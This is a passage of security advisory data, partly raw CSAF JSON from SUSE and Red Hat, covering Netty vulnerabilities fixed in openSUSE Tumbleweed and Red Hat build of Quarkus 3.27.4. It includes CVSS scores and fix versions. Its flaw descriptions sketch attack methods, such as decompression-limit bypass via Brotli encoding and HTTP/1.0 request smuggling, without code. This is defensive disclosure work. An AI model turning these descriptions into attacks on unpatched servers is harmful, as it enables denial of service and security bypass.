"category": "external",
"summary": "CVE-2026-42586",
"url": "https://www.suse.com/security/cve/CVE-2026-42586"
},
{
"category": "external",
"summary": "SUSE Bug 1265245 for CVE-2026-42586",
"url": "https://bugzilla.suse.com/1265245"
}
],
"remediations": [
{
"category": "vendor_fix",
"details": "To install this SUSE Security Update use the SUSE recommended installation methods like YaST online_update or \"zypper patch\".\n",
"product_ids": [
"openSUSE Tumbleweed:netty-4.1.133-1.1.aarch64",
"openSUSE Tumbleweed:netty-4.1.133-1.1.ppc64le",
"openSUSE Tumbleweed:netty-4.1.133-1.1.s390x",
"openSUSE Tumbleweed:netty-4.1.133-1.1.x86_64",
"openSUSE Tumbleweed:netty-bom-4.1.133-1.1.aarch64",
"openSUSE Tumbleweed:netty-bom-4.1.133-1.1.ppc64le",
"openSUSE Tumbleweed:netty-bom-4.1.133-1.1.s390x",
"openSUSE Tumbleweed:netty-bom-4.1.133-1.1.x86_64",
"openSUSE Tumbleweed:netty-javadoc-4.1.133-1.1.aarch64",
"openSUSE Tumbleweed:netty-javadoc-4.1.133-1.1.ppc64le",
"openSUSE Tumbleweed:netty-javadoc-4.1.133-1.1.s390x",
"openSUSE Tumbleweed:netty-javadoc-4.1.133-1.1.x86_64",
"openSUSE Tumbleweed:netty-parent-4.1.133-1.1.aarch64",
"openSUSE Tumbleweed:netty-parent-4.1.133-1.1.ppc64le",
"openSUSE Tumbleweed:netty-parent-4.1.133-1.1.s390x",
"openSUSE Tumbleweed:netty-parent-4.1.133-1.1.x86_64"
]
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 8.2,
"baseSeverity": "HIGH",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:N",
"version": "3.1"
},
"products": [
"openSUSE Tumbleweed:netty-4.1.133-1.1.aarch64",
"openSUSE Tumbleweed:netty-4.1.133-1.1.ppc64le",
"openSUSE Tumbleweed:netty-4.1.133-1.1.s390x",
"openSUSE Tumbleweed:netty-4.1.133-1.1.x86_64",
"openSUSE Tumbleweed:netty-bom-4.1.133-1.1.aarch64",
"openSUSE Tumbleweed:netty-bom-4.1.133-1.1.ppc64le",
"openSUSE Tumbleweed:netty-bom-4.1.133-1.1.s390x",
"openSUSE Tumbleweed:netty-bom-4.1.133-1.1.x86_64",
"openSUSE Tumbleweed:netty-javadoc-4.1.133-1.1.aarch64",
"openSUSE Tumbleweed:netty-javadoc-4.1.133-1.1.ppc64le",
"openSUSE Tumbleweed:netty-javadoc-4.1.133-1.1.s390x",
"openSUSE Tumbleweed:netty-javadoc-4.1.133-1.1.x86_64",
"openSUSE Tumbleweed:netty-parent-4.1.133-1.1.aarch64",
"openSUSE Tumbleweed:netty-parent-4.1.133-1.1.ppc64le",
"openSUSE Tumbleweed:netty-parent-4.1.133-1.1.s390x",
"openSUSE Tumbleweed:netty-parent-4.1.133-1.1.x86_64"
]
}
],
"threats": [
{
"category": "impact",
"date": "2026-05-16T00:00:00Z",
"details": "important"
}
],
"title": "CVE-2026-42586"
},
{
"cve": "CVE-2026-42587",
"ids": [
{
"system_name": "SUSE CVE Page",
"text": "https://www.suse.com/security/cve/CVE-2026-42587"
}
],
"notes": [
{
"category": "general",
"text": "Netty is an asynchronous, event-driven network application framework. Prior to 4.2.13.Final and 4.1.133.Final, HttpContentDecompressor accepts a maxAllocation parameter to limit decompression buffer size and prevent decompression bomb attacks. This limit is correctly enforced for gzip and deflate encodings via ZlibDecoder, but is silently ignored when the content encoding is br (Brotli), zstd, or snappy. An attacker can bypass the configured decompression limit by sending a compressed payload with Content-Encoding: br instead of Content-Encoding: gzip, causing unbounded memory allocation and out-of-memory denial of service. The same vulnerability exists in DelegatingDecompressorFrameListener for HTTP/2 connections. This vulnerability is fixed in 4.2.13.Final and 4.1.133.Final.",
"title": "CVE description"
}
],
"product_status": {
"recommended": [
"openSUSE Tumbleweed:netty-4.1.133-1.1.aarch64",
"openSUSE Tumbleweed:netty-4.1.133-1.1.ppc64le",
"openSUSE Tumbleweed:netty-4.1.133-1.1.s390x",
"openSUSE Tumbleweed:netty-4.1.133-1.1.x86_64",
"openSUSE Tumbleweed:netty-bom-4.1.133-1.1.aarch64",
"openSUSE Tumbleweed:netty-bom-4.1.133-1.1.ppc64le",
"openSUSE Tumbleweed:netty-bom-4.1.133-1.1.s390x",
"openSUSE Tumbleweed:netty-bom-4.1.133-1.1.x86_64",
"openSUSE Tumbleweed:netty-javadoc-4.1.133-1.1.aarch64",
"openSUSE Tumbleweed:netty-javadoc-4.1.133-1.1.ppc64le",
"openSUSE Tumbleweed:netty-javadoc-4.1.133-1.1.s390x",
"openSUSE Tumbleweed:netty-javadoc-4.1.133-1.1.x86_64",
"openSUSE Tumbleweed:netty-parent-4.1.133-1.1.aarch64",
"openSUSE Tumbleweed:netty-parent-4.1.133-1.1.ppc64le",
"openSUSE Tumbleweed:netty-parent-4.1.133-1.1.s390x",
"openSUSE Tumbleweed:netty-parent-4.1.133-1.1.x86_64"
]
},
"references": [
{
"category": "external",
"summary": "CVE-2026-42587",
"url": "https://www.suse.com/security/cve/CVE-2026-42587"
},
{
"category": "external",
"summary": "SUSE Bug 1265246 for CVE-2026-42587",
"url": "https://bugzilla.suse.com/1265246"
}
],
"remediations": [
{
"category": "vendor_fix",
"details": "To install this SUSE Security Update use the SUSE recommended installation methods like YaST online_update or \"zypper patch\".\n",
"product_ids": [
"openSUSE Tumbleweed:netty-4.1.133-1.1.aarch64",
"openSUSE Tumbleweed:netty-4.1.133-1.1.ppc64le",
"openSUSE Tumbleweed:netty-4.1.133-1.1.s390x",
"openSUSE Tumbleweed:netty-4.1.133-1.1.x86_64",
"openSUSE Tumbleweed:netty-bom-4.1.133-1.1.aarch64",
"openSUSE Tumbleweed:netty-bom-4.1.133-1.1.ppc64le",
"openSUSE Tumbleweed:netty-bom-4.1.133-1.1.s390x",
"openSUSE Tumbleweed:netty-bom-4.1.133-1.1.x86_64",
"openSUSE Tumbleweed:netty-javadoc-4.1.133-1.1.aarch64",
"openSUSE Tumbleweed:netty-javadoc-4.1.133-1.1.ppc64le",
"openSUSE Tumbleweed:netty-javadoc-4.1.133-1.1.s390x",
"openSUSE Tumbleweed:netty-javadoc-4.1.133-1.1.x86_64",
"openSUSE Tumbleweed:netty-parent-4.1.133-1.1.aarch64",
"openSUSE Tumbleweed:netty-parent-4.1.133-1.1.ppc64le",
"openSUSE Tumbleweed:netty-parent-4.1.133-1.1.s390x",
"openSUSE Tumbleweed:netty-parent-4.1.133-1.1.x86_64"
]
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 7.5,
"baseSeverity": "HIGH",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"version": "3.1"
},
"products": [
"openSUSE Tumbleweed:netty-4.1.133-1.1.aarch64",
"openSUSE Tumbleweed:netty-4.1.133-1.1.ppc64le",
"openSUSE Tumbleweed:netty-4.1.133-1.1.s390x",
"openSUSE Tumbleweed:netty-4.1.133-1.1.x86_64",
"openSUSE Tumbleweed:netty-bom-4.1.133-1.1.aarch64",
"openSUSE Tumbleweed:netty-bom-4.1.133-1.1.ppc64le",
"openSUSE Tumbleweed:netty-bom-4.1.133-1.1.s390x",
"openSUSE Tumbleweed:netty-bom-4.1.133-1.1.x86_64",
"openSUSE Tumbleweed:netty-javadoc-4.1.133-1.1.aarch64",
"openSUSE Tumbleweed:netty-javadoc-4.1.133-1.1.ppc64le",
"openSUSE Tumbleweed:netty-javadoc-4.1.133-1.1.s390x",
"openSUSE Tumbleweed:netty-javadoc-4.1.133-1.1.x86_64",
"openSUSE Tumbleweed:netty-parent-4.1.133-1.1.aarch64",
"openSUSE Tumbleweed:netty-parent-4.1.133-1.1.ppc64le",
"openSUSE Tumbleweed:netty-parent-4.1.133-1.1.s390x",
"openSUSE Tumbleweed:netty-parent-4.1.133-1.1.x86_64"
]
}
],
"threats": [
{
"category": "impact",
"date": "2026-05-16T00:00:00Z",
"details": "important"
}
],
"title": "CVE-2026-42587"
},
{
"cve": "CVE-2026-44248",
"ids": [
{
"system_name": "SUSE CVE Page",
"text": "https://www.suse.com/security/cve/CVE-2026-44248"
}
],
"notes": [
{
"category": "general",
"text": "Netty is an asynchronous, event-driven network application framework. Prior to 4.2.13.Final and 4.1.133.Final, the MQTT 5 header Properties section is parsed and buffered before any message size limit is applied. Specifically, in MqttDecoder, the decodeVariableHeader() method is called before the bytesRemainingBeforeVariableHeader \u003e maxBytesInMessage check. The decodeVariableHeader() can call other methods which will call decodeProperties(). Effectively, Netty does not apply any limits to the size of the properties being decoded. Additionally, because MqttDecoder extends ReplayingDecoder, Netty will repeatedly re-parse the enormous Properties sections and buffer the bytes in memory, until the entire thing parses to completion. This can cause high resource usage in both CPU and memory. This vulnerability is fixed in 4.2.13.Final and 4.1.133.Final.",
"title": "CVE description"
}
],
"product_status": {
"recommended": [
"openSUSE Tumbleweed:netty-4.1.133-1.1.aarch64",
"openSUSE Tumbleweed:netty-4.1.133-1.1.ppc64le",
"openSUSE Tumbleweed:netty-4.1.133-1.1.s390x",
"openSUSE Tumbleweed:netty-4.1.133-1.1.x86_64",
"openSUSE Tumbleweed:netty-bom-4.1.133-1.1.aarch64",
"openSUSE Tumbleweed:netty-bom-4.1.133-1.1.ppc64le",
"openSUSE Tumbleweed:netty-bom-4.1.133-1.1.s390x",
"openSUSE Tumbleweed:netty-bom-4.1.133-1.1.x86_64",
"openSUSE Tumbleweed:netty-javadoc-4.1.133-1.1.aarch64",
"openSUSE Tumbleweed:netty-javadoc-4.1.133-1.1.ppc64le",
"openSUSE Tumbleweed:netty-javadoc-4.1.133-1.1.s390x",
"openSUSE Tumbleweed:netty-javadoc-4.1.133-1.1.x86_64",
"openSUSE Tumbleweed:netty-parent-4.1.133-1.1.aarch64",
"openSUSE Tumbleweed:netty-parent-4.1.133-1.1.ppc64le",
"openSUSE Tumbleweed:netty-parent-4.1.133-1.1.s390x",
"openSUSE Tumbleweed:netty-parent-4.1.133-1.1.x86_64"
]
},
"references": [
{
"category": "external",
"summary": "CVE-2026-44248",
"url": "https://www.suse.com/security/cve/CVE-2026-44248"
},
{
"category": "external",
"summary": "SUSE Bug 1265293 for CVE-2026-44248",
"url": "https://bugzilla.suse.com/1265293"
}
],
"remediations": [
{
"category": "vendor_fix",
"details": "To install this SUSE Security Update use the SUSE recommended installation methods like YaST online_update or \"zypper patch\".\n",
"product_ids": [
"openSUSE Tumbleweed:netty-4.1.133-1.1.aarch64",
"openSUSE Tumbleweed:netty-4.1.133-1.1.ppc64le",
"openSUSE Tumbleweed:netty-4.1.133-1.1.s390x",
"openSUSE Tumbleweed:netty-4.1.133-1.1.x86_64",
"openSUSE Tumbleweed:netty-bom-4.1.133-1.1.aarch64",
"openSUSE Tumbleweed:netty-bom-4.1.133-1.1.ppc64le",
"openSUSE Tumbleweed:netty-bom-4.1.133-1.1.s390x",
"openSUSE Tumbleweed:netty-bom-4.1.133-1.1.x86_64",
"openSUSE Tumbleweed:netty-javadoc-4.1.133-1.1.aarch64",
"openSUSE Tumbleweed:netty-javadoc-4.1.133-1.1.ppc64le",
"openSUSE Tumbleweed:netty-javadoc-4.1.133-1.1.s390x",
"openSUSE Tumbleweed:netty-javadoc-4.1.133-1.1.x86_64",
"openSUSE Tumbleweed:netty-parent-4.1.133-1.1.aarch64",
"openSUSE Tumbleweed:netty-parent-4.1.133-1.1.ppc64le",
"openSUSE Tumbleweed:netty-parent-4.1.133-1.1.s390x",
"openSUSE Tumbleweed:netty-parent-4.1.133-1.1.x86_64"
]
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 5.3,
"baseSeverity": "MEDIUM",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L",
"version": "3.1"
},
"products": [
"openSUSE Tumbleweed:netty-4.1.133-1.1.aarch64",
"openSUSE Tumbleweed:netty-4.1.133-1.1.ppc64le",
"openSUSE Tumbleweed:netty-4.1.133-1.1.s390x",
"openSUSE Tumbleweed:netty-4.1.133-1.1.x86_64",
"openSUSE Tumbleweed:netty-bom-4.1.133-1.1.aarch64",
"openSUSE Tumbleweed:netty-bom-4.1.133-1.1.ppc64le",
"openSUSE Tumbleweed:netty-bom-4.1.133-1.1.s390x",
"openSUSE Tumbleweed:netty-bom-4.1.133-1.1.x86_64",
"openSUSE Tumbleweed:netty-javadoc-4.1.133-1.1.aarch64",
"openSUSE Tumbleweed:netty-javadoc-4.1.133-1.1.ppc64le",
"openSUSE Tumbleweed:netty-javadoc-4.1.133-1.1.s390x",
"openSUSE Tumbleweed:netty-javadoc-4.1.133-1.1.x86_64",
"openSUSE Tumbleweed:netty-parent-4.1.133-1.1.aarch64",
"openSUSE Tumbleweed:netty-parent-4.1.133-1.1.ppc64le",
"openSUSE Tumbleweed:netty-parent-4.1.133-1.1.s390x",
"openSUSE Tumbleweed:netty-parent-4.1.133-1.1.x86_64"
]
}
],
"threats": [
{
"category": "impact",
"date": "2026-05-16T00:00:00Z",
"details": "moderate"
}
],
"title": "CVE-2026-44248"
}
]
}
RHSA-2026:23808
Vulnerability from csaf_redhat - Published: 2026-06-10 12:05 - Updated: 2026-08-12 19:42Summary
Red Hat Security Advisory: Red Hat build of Quarkus 3.27.4 release and security update
Severity
Important
Notes
Topic: An update is now available for Red Hat build of Quarkus.
Red Hat Product Security has rated this update as having a security impact of Important. A Common Vulnerability Scoring System (CVSS) base score, which gives a detailed severity rating, is available for each vulnerability. For more information, see the CVE links in the References section.
Details: This release of Red Hat build of Quarkus 3.27.4 includes the following CVE fixes:
* netty-codec-dns: Netty: High integrity impact due to improper DNS domain name constraint enforcement [quarkus-3.27] (CVE-2026-42579)
* netty-codec-http: Netty: Incorrect HTTP response parsing leads to data confusion [quarkus-3.27] (CVE-2026-42584)
* netty-codec-http: Netty: HTTP Request Smuggling due to improper handling of conflicting HTTP/1.0 headers [quarkus-3.27] (CVE-2026-42581)
* netty-handler-proxy: Netty: HTTP Header Injection via HttpProxyHandler Disabled Validation [quarkus-3.27] (CVE-2026-42578)
* netty-codec-http: Netty: Denial of Service via unbounded memory allocation in HTTP content decompression [quarkus-3.27] (CVE-2026-42587)
* netty-codec-http2: Netty: Denial of Service via unbounded memory allocation in HTTP content decompression [quarkus-3.27] (CVE-2026-42587)
For more information, see the release notes page listed in the References section.
Terms of Use: This content is licensed under the Creative Commons Attribution 4.0 International License (https://creativecommons.org/licenses/by/4.0/). If you distribute this content, or a modified version of it, you must provide attribution to Red Hat Inc. and provide a link to the original.
A flaw was found in Netty. The HttpProxyHandler component, which handles HTTP CONNECT requests, does not properly validate user-provided outbound headers. This allows an attacker to inject arbitrary HTTP headers into the CONNECT request sent to the proxy server. This could lead to unexpected behavior or potential bypass of security controls on the proxy server.
7.5 (High)
Affected products
Fixed
1 product
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
Red Hat build of Quarkus 3.27.4
Red Hat / Red Hat build of Quarkus
|
cpe:/a:redhat:quarkus:3.27::el8
|
— |
Vendor Fix
fix
Workaround
|
Threats
Impact
Important
A flaw was found in Netty. Netty's DNS (Domain Name System) codec does not properly enforce domain name constraints as defined in RFC 1035 during both encoding and decoding processes. This vulnerability allows a remote attacker to exploit the decoder using malicious DNS responses or exploit the encoder through user-influenced hostnames, leading to a high integrity impact on the affected system.
7.5 (High)
Affected products
Fixed
1 product
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
Red Hat build of Quarkus 3.27.4
Red Hat / Red Hat build of Quarkus
|
cpe:/a:redhat:quarkus:3.27::el8
|
— |
Vendor Fix
fix
Workaround
|
Threats
Impact
Important
A flaw was found in Netty's HttpObjectDecoder. A remote attacker can exploit this by sending a specially crafted HTTP/1.0 request that includes both `Transfer-Encoding: chunked` and `Content-Length` headers. While Netty correctly strips the conflicting `Content-Length` header for HTTP/1.1 messages, this guard is absent for HTTP/1.0. This can lead to HTTP request smuggling, where downstream proxies or handlers may misinterpret message boundaries, potentially allowing an attacker to bypass security controls or access unauthorized information.
7.2 (High)
Affected products
Fixed
1 product
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
Red Hat build of Quarkus 3.27.4
Red Hat / Red Hat build of Quarkus
|
cpe:/a:redhat:quarkus:3.27::el8
|
— |
Vendor Fix
fix
Workaround
|
Threats
Impact
Important
A flaw was found in Netty, an asynchronous, event-driven network application framework. A remote attacker could exploit this vulnerability by sending a specific sequence of HTTP responses (103, followed by a 200 with a GET body, then another 200 for a HEAD request) when the client pipelines GET then HEAD requests. This can cause the HttpClientCodec to incorrectly pair responses, leading to subsequent HTTP responses being parsed from the wrong offset. This issue may result in information disclosure or other data integrity problems due to misinterpretation of network traffic.
7.3 (High)
Affected products
Fixed
1 product
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
Red Hat build of Quarkus 3.27.4
Red Hat / Red Hat build of Quarkus
|
cpe:/a:redhat:quarkus:3.27::el8
|
— |
Vendor Fix
fix
|
Threats
Impact
Important
A flaw was found in Netty. A remote attacker can bypass the configured decompression limit in the HttpContentDecompressor by sending a specially crafted compressed payload using Brotli (br), Zstandard (zstd), or Snappy content encodings. This can lead to unbounded memory allocation, resulting in an out-of-memory Denial of Service (DoS) for the affected system.
7.5 (High)
Affected products
Fixed
1 product
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
Red Hat build of Quarkus 3.27.4
Red Hat / Red Hat build of Quarkus
|
cpe:/a:redhat:quarkus:3.27::el8
|
— |
Vendor Fix
fix
Workaround
|
Threats
Impact
Important
References
62 references
| URL | Category |
|---|---|
| https://access.redhat.com/errata/RHSA-2026:23808 | self |
| https://access.redhat.com/security/updates/classi… | external |
| https://access.redhat.com/products/quarkus/ | external |
| https://access.redhat.com/jbossnetwork/restricted… | external |
| https://docs.redhat.com/en/documentation/red_hat_… | external |
| https://issues.redhat.com/browse/QUARKUS-6793 | external |
| https://issues.redhat.com/browse/QUARKUS-7610 | external |
| https://issues.redhat.com/browse/QUARKUS-7615 | external |
| https://issues.redhat.com/browse/QUARKUS-7616 | external |
| https://issues.redhat.com/browse/QUARKUS-7617 | external |
| https://issues.redhat.com/browse/QUARKUS-7618 | external |
| https://issues.redhat.com/browse/QUARKUS-7619 | external |
| https://issues.redhat.com/browse/QUARKUS-7620 | external |
| https://issues.redhat.com/browse/QUARKUS-7621 | external |
| https://issues.redhat.com/browse/QUARKUS-7622 | external |
| https://issues.redhat.com/browse/QUARKUS-7623 | external |
| https://issues.redhat.com/browse/QUARKUS-7624 | external |
| https://issues.redhat.com/browse/QUARKUS-7625 | external |
| https://issues.redhat.com/browse/QUARKUS-7626 | external |
| https://issues.redhat.com/browse/QUARKUS-7627 | external |
| https://issues.redhat.com/browse/QUARKUS-7628 | external |
| https://issues.redhat.com/browse/QUARKUS-7630 | external |
| https://issues.redhat.com/browse/QUARKUS-7631 | external |
| https://issues.redhat.com/browse/QUARKUS-7632 | external |
| https://issues.redhat.com/browse/QUARKUS-7633 | external |
| https://issues.redhat.com/browse/QUARKUS-7664 | external |
| https://issues.redhat.com/browse/QUARKUS-7774 | external |
| https://issues.redhat.com/browse/QUARKUS-7775 | external |
| https://issues.redhat.com/browse/QUARKUS-7776 | external |
| https://issues.redhat.com/browse/QUARKUS-7777 | external |
| https://issues.redhat.com/browse/QUARKUS-7778 | external |
| https://issues.redhat.com/browse/QUARKUS-7779 | external |
| https://issues.redhat.com/browse/QUARKUS-7780 | external |
| https://issues.redhat.com/browse/QUARKUS-7781 | external |
| https://issues.redhat.com/browse/QUARKUS-7812 | external |
| https://issues.redhat.com/browse/QUARKUS-7813 | external |
| https://security.access.redhat.com/data/csaf/v2/a… | self |
| https://access.redhat.com/security/cve/CVE-2026-42578 | self |
| https://bugzilla.redhat.com/show_bug.cgi?id=2477226 | external |
| https://www.cve.org/CVERecord?id=CVE-2026-42578 | external |
| https://nvd.nist.gov/vuln/detail/CVE-2026-42578 | external |
| https://github.com/netty/netty/security/advisorie… | external |
| https://access.redhat.com/security/cve/CVE-2026-42579 | self |
| https://bugzilla.redhat.com/show_bug.cgi?id=2477217 | external |
| https://www.cve.org/CVERecord?id=CVE-2026-42579 | external |
| https://nvd.nist.gov/vuln/detail/CVE-2026-42579 | external |
| https://github.com/netty/netty/security/advisorie… | external |
| https://access.redhat.com/security/cve/CVE-2026-42581 | self |
| https://bugzilla.redhat.com/show_bug.cgi?id=2477232 | external |
| https://www.cve.org/CVERecord?id=CVE-2026-42581 | external |
| https://nvd.nist.gov/vuln/detail/CVE-2026-42581 | external |
| https://github.com/netty/netty/security/advisorie… | external |
| https://access.redhat.com/security/cve/CVE-2026-42584 | self |
| https://bugzilla.redhat.com/show_bug.cgi?id=2477224 | external |
| https://www.cve.org/CVERecord?id=CVE-2026-42584 | external |
| https://nvd.nist.gov/vuln/detail/CVE-2026-42584 | external |
| https://github.com/netty/netty/security/advisorie… | external |
| https://access.redhat.com/security/cve/CVE-2026-42587 | self |
| https://bugzilla.redhat.com/show_bug.cgi?id=2477220 | external |
| https://www.cve.org/CVERecord?id=CVE-2026-42587 | external |
| https://nvd.nist.gov/vuln/detail/CVE-2026-42587 | external |
| https://github.com/netty/netty/security/advisorie… | external |
{
"document": {
"aggregate_severity": {
"namespace": "https://access.redhat.com/security/updates/classification/",
"text": "Important"
},
"category": "csaf_security_advisory",
"csaf_version": "2.0",
"distribution": {
"text": "Copyright \u00a9 Red Hat, Inc. All rights reserved.",
"tlp": {
"label": "WHITE",
"url": "https://www.first.org/tlp/"
}
},
"lang": "en",
"notes": [
{
"category": "summary",
"text": "An update is now available for Red Hat build of Quarkus.\n\nRed Hat Product Security has rated this update as having a security impact of Important. A Common Vulnerability Scoring System (CVSS) base score, which gives a detailed severity rating, is available for each vulnerability. For more information, see the CVE links in the References section.",
"title": "Topic"
},
{
"category": "general",
"text": "This release of Red Hat build of Quarkus 3.27.4 includes the following CVE fixes:\n\n* netty-codec-dns: Netty: High integrity impact due to improper DNS domain name constraint enforcement [quarkus-3.27] (CVE-2026-42579)\n\n* netty-codec-http: Netty: Incorrect HTTP response parsing leads to data confusion [quarkus-3.27] (CVE-2026-42584)\n\n* netty-codec-http: Netty: HTTP Request Smuggling due to improper handling of conflicting HTTP/1.0 headers [quarkus-3.27] (CVE-2026-42581)\n\n* netty-handler-proxy: Netty: HTTP Header Injection via HttpProxyHandler Disabled Validation [quarkus-3.27] (CVE-2026-42578)\n\n* netty-codec-http: Netty: Denial of Service via unbounded memory allocation in HTTP content decompression [quarkus-3.27] (CVE-2026-42587)\n\n* netty-codec-http2: Netty: Denial of Service via unbounded memory allocation in HTTP content decompression [quarkus-3.27] (CVE-2026-42587)\n\nFor more information, see the release notes page listed in the References section.",
"title": "Details"
},
{
"category": "legal_disclaimer",
"text": "This content is licensed under the Creative Commons Attribution 4.0 International License (https://creativecommons.org/licenses/by/4.0/). If you distribute this content, or a modified version of it, you must provide attribution to Red Hat Inc. and provide a link to the original.",
"title": "Terms of Use"
}
],
"publisher": {
"category": "vendor",
"contact_details": "https://access.redhat.com/security/team/contact/",
"issuing_authority": "Red Hat Product Security is responsible for vulnerability handling across all Red Hat products and services.",
"name": "Red Hat Product Security",
"namespace": "https://www.redhat.com"
},
"references": [
{
"category": "self",
"summary": "https://access.redhat.com/errata/RHSA-2026:23808",
"url": "https://access.redhat.com/errata/RHSA-2026:23808"
},
{
"category": "external",
"summary": "https://access.redhat.com/security/updates/classification/#important",
"url": "https://access.redhat.com/security/updates/classification/#important"
},
{
"category": "external",
"summary": "https://access.redhat.com/products/quarkus/",
"url": "https://access.redhat.com/products/quarkus/"
},
{
"category": "external",
"summary": "https://access.redhat.com/jbossnetwork/restricted/listSoftware.html?product=redhat.quarkus\u0026downloadType=distributions\u0026version=3.27.4",
"url": "https://access.redhat.com/jbossnetwork/restricted/listSoftware.html?product=redhat.quarkus\u0026downloadType=distributions\u0026version=3.27.4"
},
{
"category": "external",
"summary": "https://docs.redhat.com/en/documentation/red_hat_build_of_quarkus/3.27",
"url": "https://docs.redhat.com/en/documentation/red_hat_build_of_quarkus/3.27"
},
{
"category": "external",
"summary": "QUARKUS-6793",
"url": "https://issues.redhat.com/browse/QUARKUS-6793"
},
{
"category": "external",
"summary": "QUARKUS-7610",
"url": "https://issues.redhat.com/browse/QUARKUS-7610"
},
{
"category": "external",
"summary": "QUARKUS-7615",
"url": "https://issues.redhat.com/browse/QUARKUS-7615"
},
{
"category": "external",
"summary": "QUARKUS-7616",
"url": "https://issues.redhat.com/browse/QUARKUS-7616"
},
{
"category": "external",
"summary": "QUARKUS-7617",
"url": "https://issues.redhat.com/browse/QUARKUS-7617"
},
{
"category": "external",
"summary": "QUARKUS-7618",
"url": "https://issues.redhat.com/browse/QUARKUS-7618"
},
{
"category": "external",
"summary": "QUARKUS-7619",
"url": "https://issues.redhat.com/browse/QUARKUS-7619"
},
{
"category": "external",
"summary": "QUARKUS-7620",
"url": "https://issues.redhat.com/browse/QUARKUS-7620"
},
{
"category": "external",
"summary": "QUARKUS-7621",
"url": "https://issues.redhat.com/browse/QUARKUS-7621"
},
{
"category": "external",
"summary": "QUARKUS-7622",
"url": "https://issues.redhat.com/browse/QUARKUS-7622"
},
{
"category": "external",
"summary": "QUARKUS-7623",
"url": "https://issues.redhat.com/browse/QUARKUS-7623"
},
{
"category": "external",
"summary": "QUARKUS-7624",
"url": "https://issues.redhat.com/browse/QUARKUS-7624"
},
{
"category": "external",
"summary": "QUARKUS-7625",
"url": "https://issues.redhat.com/browse/QUARKUS-7625"
},
{
"category": "external",
"summary": "QUARKUS-7626",
"url": "https://issues.redhat.com/browse/QUARKUS-7626"
},
{
"category": "external",
"summary": "QUARKUS-7627",
"url": "https://issues.redhat.com/browse/QUARKUS-7627"
},
{
"category": "external",
"summary": "QUARKUS-7628",
"url": "https://issues.redhat.com/browse/QUARKUS-7628"
},
{
"category": "external",
"summary": "QUARKUS-7630",
"url": "https://issues.redhat.com/browse/QUARKUS-7630"
},
{
"category": "external",
"summary": "QUARKUS-7631",
"url": "https://issues.redhat.com/browse/QUARKUS-7631"
},
{
"category": "external",
"summary": "QUARKUS-7632",
"url": "https://issues.redhat.com/browse/QUARKUS-7632"
},
{
"category": "external",
"summary": "QUARKUS-7633",
"url": "https://issues.redhat.com/browse/QUARKUS-7633"
},
{
"category": "external",
"summary": "QUARKUS-7664",
"url": "https://issues.redhat.com/browse/QUARKUS-7664"
},
{
"category": "external",
"summary": "QUARKUS-7774",
"url": "https://issues.redhat.com/browse/QUARKUS-7774"
},
{
"category": "external",
"summary": "QUARKUS-7775",
"url": "https://issues.redhat.com/browse/QUARKUS-7775"
},
{
"category": "external",
"summary": "QUARKUS-7776",
"url": "https://issues.redhat.com/browse/QUARKUS-7776"
},
{
"category": "external",
"summary": "QUARKUS-7777",
"url": "https://issues.redhat.com/browse/QUARKUS-7777"
},
{
"category": "external",
"summary": "QUARKUS-7778",
"url": "https://issues.redhat.com/browse/QUARKUS-7778"
},
{
"category": "external",
"summary": "QUARKUS-7779",
"url": "https://issues.redhat.com/browse/QUARKUS-7779"
},
{
"category": "external",
"summary": "QUARKUS-7780",
"url": "https://issues.redhat.com/browse/QUARKUS-7780"
},
{
"category": "external",
"summary": "QUARKUS-7781",
"url": "https://issues.redhat.com/browse/QUARKUS-7781"
},
{
"category": "external",
"summary": "QUARKUS-7812",
"url": "https://issues.redhat.com/browse/QUARKUS-7812"
},
{
"category": "external",
"summary": "QUARKUS-7813",
"url": "https://issues.redhat.com/browse/QUARKUS-7813"
},
{
"category": "self",
"summary": "Canonical URL",
"url": "https://security.access.redhat.com/data/csaf/v2/advisories/2026/rhsa-2026_23808.json"
}
],
"title": "Red Hat Security Advisory: Red Hat build of Quarkus 3.27.4 release and security update",
"tracking": {
"current_release_date": "2026-08-12T19:42:39+00:00",
"generator": {
"date": "2026-08-12T19:42:39+00:00",
"engine": {
"name": "Red Hat SDEngine",
"version": "5.3.14"
}
},
"id": "RHSA-2026:23808",
"initial_release_date": "2026-06-10T12:05:35+00:00",
"revision_history": [
{
"date": "2026-06-10T12:05:35+00:00",
"number": "1",
"summary": "Initial version"
},
{
"date": "2026-06-10T12:05:35+00:00",
"number": "2",
"summary": "Last updated version"
},
{
"date": "2026-08-12T19:42:39+00:00",
"number": "3",
"summary": "Last generated version"
}
],
"status": "final",
"version": "3"
}
},
"product_tree": {
"branches": [
{
"branches": [
{
"branches": [
{
"category": "product_name",
"name": "Red Hat build of Quarkus 3.27.4",
"product": {
"name": "Red Hat build of Quarkus 3.27.4",
"product_id": "Red Hat build of Quarkus 3.27.4",
"product_identification_helper": {
"cpe": "cpe:/a:redhat:quarkus:3.27::el8"
}
}
}
],
"category": "product_family",
"name": "Red Hat build of Quarkus"
}
],
"category": "vendor",
"name": "Red Hat"
}
]
},
"vulnerabilities": [
{
"cve": "CVE-2026-42578",
"cwe": {
"id": "CWE-93",
"name": "Improper Neutralization of CRLF Sequences (\u0027CRLF Injection\u0027)"
},
"discovery_date": "2026-05-13T19:02:00.826936+00:00",
"ids": [
{
"system_name": "Red Hat Bugzilla ID",
"text": "2477226"
}
],
"notes": [
{
"category": "description",
"text": "A flaw was found in Netty. The HttpProxyHandler component, which handles HTTP CONNECT requests, does not properly validate user-provided outbound headers. This allows an attacker to inject arbitrary HTTP headers into the CONNECT request sent to the proxy server. This could lead to unexpected behavior or potential bypass of security controls on the proxy server.",
"title": "Vulnerability description"
},
{
"category": "summary",
"text": "netty: io.netty/netty-handler-proxy: Netty: HTTP Header Injection via HttpProxyHandler Disabled Validation",
"title": "Vulnerability summary"
},
{
"category": "other",
